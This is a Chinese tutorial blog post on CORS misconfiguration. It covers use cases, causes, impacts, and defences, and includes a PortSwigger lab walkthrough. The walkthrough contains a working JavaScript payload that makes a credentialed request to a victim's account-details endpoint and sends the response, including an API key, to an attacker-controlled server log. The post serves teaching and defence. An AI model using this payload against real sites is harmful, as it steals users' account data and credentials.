常见的Web漏洞——CORS

渗透做了多年的朋友都知道,大洞小洞都是漏洞。因此也学习、沉淀一下以前没重视的漏洞。

简介

CORSCross-Origin Resource Sharing跨源资源共享)是一种由Web浏览器实现的安全策略,用于控制一个Web页面(服务端)是否能够访问来自不同源(域名、协议或端口)的资源。这是为了防止恶意网站通过 AJAX 请求访问另一个网站的敏感数据。

CORS漏洞是指服务器在处理跨源HTTP请求时未能正确实施安全策略,导致敏感数据或功能被未经授权的第三方访问。这种漏洞通常发生在Web应用中,它允许攻击者绕过浏览器的同源策略,从而访问或操作另一个域的资源。

跨域访问的一些场景:

  1. 单页面应用(SPA)与后端API
    场景:现代Web应用经常采用单页面应用架构,前端JavaScript框架(如React、Angular、Vue.js)与后端API(可能部署在不同的域名上)需要进行通信。
    CORS作用:允许前端应用从浏览器安全地发起跨域请求到后端API,并接收响应。
  2. 第三方服务集成
    场景:Web应用可能需要集成第三方服务(如地图服务、社交媒体登录、支付网关等)。
    CORS作用:确保第三方服务的API可以安全地从Web应用的域被访问。
  3. 内容分发网络(CDN)
    场景:为了提高加载速度和全球访问性,静态资源(如JavaScript库、CSS文件、图片等)可能被部署在CDN上。
    CORS作用:允许Web应用从CDN跨域加载静态资源。
  4. Web组件和Web部件
    场景:开发者可能在不同的域上创建和使用可重用的Web组件。
    CORS作用:确保这些组件可以跨域访问和集成。
  5. 跨域字体加载
    场景:Web设计师可能需要从不同的源加载自定义字体。
    CORS作用:允许浏览器跨域加载字体文件,如Google Fonts。
  6. 跨域图像和媒体
    场景:Web应用可能需要展示存储在其他域上的图像、视频或其他媒体内容。
    CORS作用:允许这些媒体资源被安全地跨域访问和展示。
  7. 开放API和微服务架构
    场景:在微服务架构中,不同的服务组件可能部署在不同的域上,需要相互通信。
    CORS作用:在这种分布式系统中,CORS确保服务间的安全通信。
  8. 前后端分离开发
    场景:在前后端分离的开发模式中,前端和后端可能由不同的团队独立开发和部署。
    CORS作用:允许前端应用跨域请求后端服务,实现前后端的协同工作。
  9. 跨域测试和调试
    场景:开发者在开发和测试阶段可能需要从不同的源访问API或资源。
    CORS作用:简化开发和测试过程,允许从不同的源发起请求。
  10. 跨域Webhooks
    场景:服务间可能使用Webhooks进行实时通信,一个服务需要向另一个服务的端点发送请求。
    CORS作用:确保Webhooks可以跨域触发和接收。

CORS漏洞的成因

CORS是一种策略,因此产生漏洞的原因是配置不当。即服务器允许任何网站都能访问资源:Access-Control-Allow-Origin: *

CORS漏洞的影响

  • 数据泄露:攻击者可能访问到其他域的敏感数据。
  • 数据篡改:攻击者可能修改或破坏其他域的数据。
  • 跨站请求伪造(CSRF):CORS漏洞可能被用来绕过某些CSRF保护措施。
  • 点击劫持:攻击者可能利用CORS漏洞来实施点击劫持攻击。

漏洞检测

使用Burp提供的lab检测,登录之后访问/accountDetails,添加Origin: https://test,返回如图:
在这里插入图片描述
没有对来源进行校验,因此存在漏洞,利用Burp提供的exploit-server(和公网服务器作用相同)编写钓鱼代码(主要看思路):

<script>
// 创建一个新的XMLHttpRequest对象
var req = new XMLHttpRequest();
// 定义请求成功完成时的事件处理函数
req.onload = reqListener;
// 异步GET请求获取API
req.open('GET', 'https://0a760050042874d381bf996c00660044.web-security-academy.net/accountDetails', true);
// 设置withCredentials属性为true,允许请求携带cookies
req.withCredentials = true;
req.send()
function reqListener(){// 将获取的响应数据提交到/alocation = '/a?key='+ this.responseText;
}
</script>

点击Store模拟生成调与链接,点击Deliver exploit to victim模拟用户访问钓鱼链接:
在这里插入图片描述
点击Access log查看访问日志可以获取受害者API凭据:
在这里插入图片描述
解码之后如图:
在这里插入图片描述
现在基本清楚漏洞原理、检测和利用方法了,其它lab无非就是对策略不严格的一些绕过,感兴趣可查看参考资料。

防御措施

  • 限制Access-Control-Allow-Origin:不要使用通配符*,而是明确指定允许访问的源。
  • 正确处理凭证:如果需要支持凭证,确保Access-Control-Allow-Credentials设置为true,并且Access-Control-Allow-Origin不使用通配符。
  • 限制HTTP方法和头信息:仅允许必要的HTTP方法和自定义头信息。
  • 正确响应预检请求:确保服务器正确处理OPTIONS请求,并返回正确的CORS头信息。
  • 使用安全的Cookie属性:为Cookies设置Secure、HttpOnly和SameSite属性。
  • 监控和日志记录:监控CORS相关的服务器配置和日志,以便发现和响应潜在的CORS漏洞。
  • 定期安全审计:定期进行代码审查和安全审计,以识别和修复CORS漏洞。

参考资料

PostSwigger CORS
利用 CORS 错误配置获取比特币和赏金
burp靶场–跨域资源共享(CORS)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/23819.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

finereport 9.0 Tomcat 集群-来自帆软

Tomcat服务器集群 目录: 1. 描述3. 配置过程4. 结果测试 1. 描述 在单一的服务器上执行WEB应用程序有一些问题&#xff0c;当网站成功建成并开始接受大量请求时&#xff0c;单一服务器无法满足需要处理的负荷量。 另外一个常见的问题是会产生单点故障&#xff0c;如果该服务器坏…

Java桥接模式

桥接模式 最重要的是 将 抽象 与 实现 解耦 , 通过组合 在 抽象 与 实现 之间搭建桥梁 ; 【设计模式】桥接模式 ( 简介 | 适用场景 | 优缺点 | 代码示例 )-CSDN博客 桥接模式&#xff08;Bridge Pattern&#xff09;-&#xff08;最通俗易懂的案例&#xff09;_桥接模式 例子-…

高效学习LabVIEW的方法

学习LabVIEW可以通过系统化课程、在线资源、自学实验、参与论坛、结合实际项目等多角度进行。系统课程提供全面基础&#xff0c;在线资源便于查漏补缺&#xff0c;自学实验强化理解&#xff0c;论坛互动解决疑难&#xff0c;结合实际项目应用提高实践技能。结合项目学习是最高效…

python3 -m http.server 检查打包前端的项目

python3 -m http.server这是 Python 提供的一个内置的简单 HTTP 服务器。当你在终端中运行 python3 -m http.server 命令时(在对应的打包目录比如dist目录)&#xff0c;Python 会启动一个 HTTP 服务器&#xff0c;它会将当前工作目录下的文件作为静态文件提供给浏览器。这个服务…

LabVIEW软件开发人员的核心能力是什么

LabVIEW软件开发人员的核心能力包括以下几个方面&#xff1a; 1. LabVIEW编程技能 熟练掌握LabVIEW编程语言&#xff1a;包括虚拟仪器&#xff08;VI&#xff09;的创建、数据流编程、图形化编程技巧等。 模块化编程&#xff1a;能够设计和实现模块化的代码结构&#xff0c;便…

数据结构与算法之计数排序

目录 前言 计数排序 定义 优缺点 策略 图解 代码实现 结束语 前言 今天是坚持写博客的第20天&#xff0c;时光飞逝&#xff0c;第二个10天即将过去&#xff0c;希望可以继续坚持&#xff0c;光明的未来也在未来等着我们。今天也恰逢高考&#xff0c;祝所有学子一帆风顺…

echarts的toolbox自定义feature标签及事件

1. 需求 在使用echarts图时希望toolbox扩展一些自定义icon和点击事件&#xff0c;而不只是图中这些echarts提供的事件。 2. 文档 属性名类型描述toolbox.featureObject各工具配置项。 feature中除了echarts提供的各个内置的工具按钮外&#xff0c;可以自定义工具按钮。 除…

电脑ip地址查询:快速定位你的网络位置(4种方法)

在互联网的浩瀚海洋中&#xff0c;每台联网的电脑都有一个独特的身份标识&#xff0c;那就是IP地址。无论是进行网络通信、定位问题还是安全防护&#xff0c;了解自己或他人的电脑IP地址都是非常关键的。那么&#xff0c;电脑ip地址查询怎么操作呢&#xff1f;本文将为你提供一…

学习笔记——路由网络基础——缺省(默认)路由

3、缺省(默认)路由 1、定义 缺省路由(默认路由)&#xff1a;是目的地址和掩码都为全0的特殊路由。全0代表任意网络。缺省路由在路由表中的形式为&#xff1a;0.0.0.0/0缺省路由也被叫默认路由。缺省路由优先级比直连路由低 缺省路由是一种特殊的路由&#xff0c;当报文没有在…

Redis系列之淘汰策略介绍

Redis系列之淘汰策略介绍 文章目录 为什么需要Redis淘汰策略&#xff1f;Redis淘汰策略分类Redis数据淘汰流程源码验证淘汰流程Redis中的LRU算法Redis中的LFU算法 为什么需要Redis淘汰策略&#xff1f; 由于Redis内存是有大小的&#xff0c;当内存快满的时候&#xff0c;又没有…

【Qt】TreeWidget中Item的UserCheckable注意事项,没有出现多选框

1. 异常 开启 ItemIsUserCheckable以后&#xff0c;界面上没有出现多选框。 QTreeWidgetItem *item new QTreeWidgetItem();item->setText(0, "hello");item->setFlags(Qt::ItemIsUserCheckable | Qt::ItemIsSelectable |Qt::ItemIsEnabled | Qt::ItemIsAuto…

AIGC 介绍与典型应用与亚马逊科技AIGC方案

1、AIGC ( 生成式人工智能 ) 是指可生成全新内容的人工智能技术 从字面意思来看&#xff0c;AIGC 是继 PGC&#xff0c;UGC 之后的新型内容创作方式&#xff0c;可以在创意、表现力、迭代、传播、个性化等方面&#xff0c;充分发挥技术优势&#xff0c;打造新的数字内容生成与…

AXI Quad SPI IP核AXI4接口下的三种操作模式

当选择Enable Performance Mode选项时&#xff0c;AXI4接口包括在内。在该模式下&#xff0c;IP核可以在增强模式下操作&#xff08;未选择启用XIP模式&#xff09;或XIP模式&#xff08;选择启用XIP模式&#xff09;。在性能模式下&#xff0c;AXI4接口用于在DTR和DRR位置的突…

ActiveMQ 介绍、下载、安装和控制台

ActiveMQ 介绍 Apache ActiveMQ 是一款非常成熟且功能全面的开源消息中间件&#xff0c;由Apache软件基金会维护。它遵循 Java Message Service (JMS) 规范&#xff0c;这意味着它提供了一组标准的 API&#xff0c;允许 Java 应用程序以一种标准化的方式发送和接收消息。 以下…

游戏研发(策略+sass+回调模式)

前言 由于这边需要对接游戏研发后台,基本就是开服,封禁.角色日志等,但是每个游戏提供的接口都是不一样的,所以为了统一处理提前进行sass封装,以便后续可以更好的兼容 同时还涉及了多数据源的问题,因为有些日志太大不可能直接去http调用,会使用直接查询游戏研发的数据库方式这一…

前端修改接口返回测试工具 Inssman使用教程

之前用的requestly现在要登录才能用了&#xff0c;然后我又登录不上去&#xff0c;同事又推荐了个谷歌插件&#xff0c;试了下&#xff0c;挺好用&#xff0c;还不用登录&#xff0c;用法和之前差不多 下载网站&#xff1a;https://chromewebstore.google.com/detail/inssman-…

从入门到精通:Java Lambda运算符详解!

哈喽&#xff0c;各位小伙伴们&#xff0c;你们好呀&#xff0c;我是喵手。运营社区&#xff1a;C站/掘金/腾讯云&#xff1b;欢迎大家常来逛逛 今天我要给大家分享一些自己日常学习到的一些知识点&#xff0c;并以文字的形式跟大家一起交流&#xff0c;互相学习&#xff0c;一…

力扣 503. 下一个更大元素 II

题目来源&#xff1a;https://leetcode.cn/problems/next-greater-element-ii/description/ C题解&#xff1a;因为是循环数组&#xff0c;所以对数组进行了两次遍历&#xff0c;相当于循环。使用了栈&#xff0c;一个存放元素&#xff0c;一个存放索引&#xff0c;用来更新res…

【C++ | 析构函数】类的析构函数详解

&#x1f601;博客主页&#x1f601;&#xff1a;&#x1f680;https://blog.csdn.net/wkd_007&#x1f680; &#x1f911;博客内容&#x1f911;&#xff1a;&#x1f36d;嵌入式开发、Linux、C语言、C、数据结构、音视频&#x1f36d; ⏰发布时间⏰&#xff1a;2024-06-06 1…

使用MFC DLL

本文仅供学习交流&#xff0c;严禁用于商业用途&#xff0c;如本文涉及侵权请及时联系本人将于及时删除 应用程序与DLL链接后&#xff0c;DLL才能通过应用程序调用运行。应用程序与DLL链接的方式主要有如下两种&#xff1a;隐式链接和显式链接。 隐式链接又称为静态加载&…